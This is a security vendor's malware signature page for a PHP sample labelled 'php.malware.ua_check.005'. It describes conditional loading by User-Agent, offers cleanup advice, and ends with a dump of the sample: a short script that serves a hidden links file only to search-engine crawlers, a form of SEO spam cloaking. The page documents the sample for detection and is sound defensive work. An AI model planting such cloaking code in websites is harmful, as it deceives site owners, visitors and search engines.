Malware Signatures

  2. Home
  4. Malware Signatures
  6. php.malware.ua_check.005

php.malware.ua_check.005

PHP malware is one of the most commom malicious code found on the internet, mostly because it is the leading server-side language used on websites, followed by ASP, Java, ColdFusion and Perl (source). In order to address this issue, our tools are capable ofdetecting and cleaning up malware that weren't collected yet, but meet a complex set of characteristics that are considered malicious.
Malwares can choose to whom it may load, and it is done by checking some conditions like: referrer, IP range and browser User-Agent.

Affecting

Any vulnerable PHP based website. Outdated software or compromised passwords can act as an infection vector.

Cleanup

Inspect your site's files looking for functions that check for User-Agent or files that you don't recognize. Also you can sign up with us and let our team remove the malware for you.

Dump


<?php
if(preg_match("!google|bing|search|yahoo|crawler|robot!i", $_SERVER['HTTP_USER_AGENT']))
{
$f = file_get_contents('wp-content/themes/zenmom2/links.txt');
if($f) echo $f;
}
?>